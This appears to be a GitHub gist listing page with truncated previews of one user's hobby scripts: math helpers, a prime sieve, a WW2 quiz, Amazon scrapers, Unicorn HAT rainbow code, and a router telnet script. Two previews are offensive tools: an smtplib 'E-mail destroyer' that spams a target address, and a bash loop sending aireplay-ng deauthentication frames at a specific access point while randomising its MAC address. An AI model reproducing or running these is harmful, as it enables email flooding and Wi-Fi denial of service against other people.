View cryptomath.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def gcd(a, b): | |
# Return the GCD of a and b using Euclid's Algorithm | |
while a != 0: | |
a, b = b % a, a | |
return b | |
def findModInverse(a, m): | |
# Returns the modular inverse of a % m, which is |
View sieve.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def eratosthenes(n): | |
all = [] | |
prime = 1 | |
print("1, 2,") | |
i = 3 | |
while (i <= n): | |
if i not in all: | |
print(i, ",") | |
prime += 1 | |
j = i |
View WW2_Rhien.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__author__ = 'rhien' | |
#my_boo = "answer" | |
# not actally used in program | |
# weird variable names | |
# You declared a variable 3 times, super inefficent and not needed | |
# too long, line break like this | |
print("This is a quiz on world War II. You will learn about WW2 and " | |
"then you will be quized, so make sure to pay attention!") | |
print("For every question answer by typing yes or no and then press enter.") |
View adsada
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Import smtplib for the actual sending function | |
import smtplib | |
def main(): | |
print("/t/tWelcome to the E-mail destroyer.") | |
target_email = input(("Please enter the email you wish to spam: ")) | |
infinite_or_not = input("Would you like to infinitly spam an email? YES or NO.") | |
if infinite_or_not.upper().startswith("Y"): | |
infinite_or_not = True |
View gist:4851bd4836c2db314f22
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while true | |
do | |
aireplay-ng -0 5 -a 90:f6:52:c1:bb:18 wlan0 | |
ifconfig wlan0 down | |
macchanger -r wlan0 | grep "New MAC" | |
iwconfig wlan0 mode monitor | |
inconfig up | |
iwconfig wlan0 | grep Mode |
View gist:32bbe4d1f4af30555ae3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import bs4 | |
import requests | |
def main(): | |
file = open("amazon.txt", 'r') | |
for i in file: | |
print(i) | |
amazon_product = i | |
amazon_product = amazon_product.split(" ") | |
print(amazon_product) |
View Amazon.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import bs4 as bs # beautiful soup | |
import requests | |
import json # javascript object notation | |
import os | |
import sys | |
#TODO Use a SQL database | |
# auto-key |product name | price | link | |
View gist:30aca5803a3edc49834d
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import unicornhat as unicorn | |
import time, math, colorsys, random | |
print("Displaying the rainbows") | |
unicorn.brightness(0.3) | |
speed = 0.03 |
View rainbow.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import unicornhat as unicorn | |
import time, math, colorsys, random | |
print("Displaying the rainbows") | |
unicorn.brightness(0.3) | |
speed = 0.03 |
View gist:a625863e3a88d07a6261
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
import os | |
import time | |
import telnetlib | |
import argparse | |
# -------------- # | |
HOST = "192.168.1.1" | |
PASSWORD = "admin" |
OlderNewer